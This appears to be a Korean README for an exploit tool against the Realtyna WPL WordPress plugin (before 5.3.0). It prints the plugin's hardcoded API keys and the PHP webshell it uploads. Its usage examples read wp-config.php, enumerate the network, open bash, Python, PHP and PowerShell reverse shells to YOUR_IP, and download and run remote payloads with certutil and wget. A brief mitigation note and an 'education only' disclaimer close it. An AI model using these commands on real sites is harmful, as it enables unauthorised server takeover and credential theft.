
Realtyna WPL < 5.3.0을 위한 인증되지 않은 RCE 익스플로잇으로, 하드코딩된 API 키를 통해 PHP 웹셸을 업로드하고 임의의 시스템 명령을 실행합니다.
이 익스플로잇은 Realtyna Organic IDX + WPL Real Estate 플러그인 5.3.0 이전 버전의 심각한 취약점을 대상으로 합니다. 이 플러그인은 하드코딩된 자격 증명을 사용하며, 인증되지 않은 파일 업로드를 허용하여 원격 코드 실행(RCE)으로 이어집니다.
이 플러그인에는 하드코딩된 자격 증명이 포함된 I/O API가 기본적으로 활성화되어 있습니다:
io_public_key = U7hdbv673YhdjplzzX7wU7hdbv673YhdjplzzX7wio_private_key = Eft76bdh0o2uyhJkbG3TAPI는 파일 유형을 검증하지 않으므로 임의의 PHP 파일 업로드가 가능합니다.
# Clone or download the script
git clone https://github.com/yourusername/wpl-rce-exploit.git
cd wpl-rce-exploit
# Install dependencies
pip install requests urllib3
# Upload webshell only
python exploit.py -u https://target.com/wordpress
# Execute a command
python exploit.py -u https://target.com/wordpress -c "whoami"
# Multiple commands
python exploit.py -u https://target.com/wordpress -c "id" # Linux
python exploit.py -u https://target.com/wordpress -c "systeminfo" # Windows
# System information
python exploit.py -u https://target.com -c "uname -a"
# Current user
python exploit.py -u https://target.com -c "whoami"
# List files
python exploit.py -u https://target.com -c "ls -la"
# Read wp-config.php
python exploit.py -u https://target.com -c "cat wp-config.php"
# Network information
python exploit.py -u https://target.com -c "ifconfig"
python exploit.py -u https://target.com -c "netstat -tulpn"
# System information
python exploit.py -u https://target.com -c "systeminfo"
# Current user
python exploit.py -u https://target.com -c "whoami"
# List files
python exploit.py -u https://target.com -c "dir"
# Read wp-config.php
python exploit.py -u https://target.com -c "type wp-config.php"
# Network information
python exploit.py -u https://target.com -c "ipconfig"
python exploit.py -u https://target.com -c "netstat -ano"
# Netcat reverse shell
python exploit.py -u https://target.com -c "bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"
# Python reverse shell
python exploit.py -u https://target.com -c "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"
# PHP reverse shell
python exploit.py -u https://target.com -c "php -r '\$sock=fsockopen(\"YOUR_IP\",4444);exec(\"/bin/sh -i <&3 >&3 2>&3\");'"
# PowerShell reverse shell
python exploit.py -u https://target.com -c "powershell -c \"\$client = New-Object System.Net.Sockets.TCPClient('YOUR_IP',4444);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\""
# Download and execute (Windows)
python exploit.py -u https://target.com -c "certutil -urlcache -f http://YOUR_IP/payload.exe C:\temp\payload.exe && C:\temp\payload.exe"
# Download and execute (Linux)
python exploit.py -u https://target.com -c "wget http://YOUR_IP/payload -O /tmp/payload && chmod +x /tmp/payload && /tmp/payload"
<?php system($_GET['c']); ?>)을 업로드합니다.wp-content/uploads/WPL/<ID>/shell.php에 저장됩니다.shell.php?c=COMMAND를 통해 명령을 실행합니다./wp-content/uploads/WPL/*/에서 의심스러운 파일을 확인합니다.wplview=io, wplformat=io, cmd=set_property 매개변수가 있는 요청을 모니터링합니다.// Add to wp-config.php
define('WPL_IO_STATUS', 0);
[+] Realtyna WPL < 5.3.0 RCE Exploit
[+] Target: https://localhost/wordpress/
[+] Command: whoami
[+] Uploading webshell...
[+] File uploaded successfully!
[+] Webshell found at: wp-content/uploads/WPL/1/shell.php
[+] Command output:
desktop-0s8mt1v\kg
이 익스플로잇은 교육 및 승인된 테스트 목적으로만 사용됩니다. 소유하지 않았거나 테스트 권한이 없는 시스템에 대한 무단 사용은 불법입니다. 저자는 오용에 대해 어떠한 책임도 지지 않습니다.
이 프로젝트는 교육 목적으로만 제공됩니다. 사용에 따른 책임은 본인에게 있습니다.
개선 사항에 대한 이슈와 풀 리퀘스트를 자유롭게 제출해 주세요.
문제나 질문이 있으시면 GitHub에 이슈를 열어 주세요.
⚠️ 경고: 이 도구는 보안 연구 및 교육 목적으로만 제공됩니다. 시스템을 테스트하기 전에 항상 적절한 승인을 받으십시오.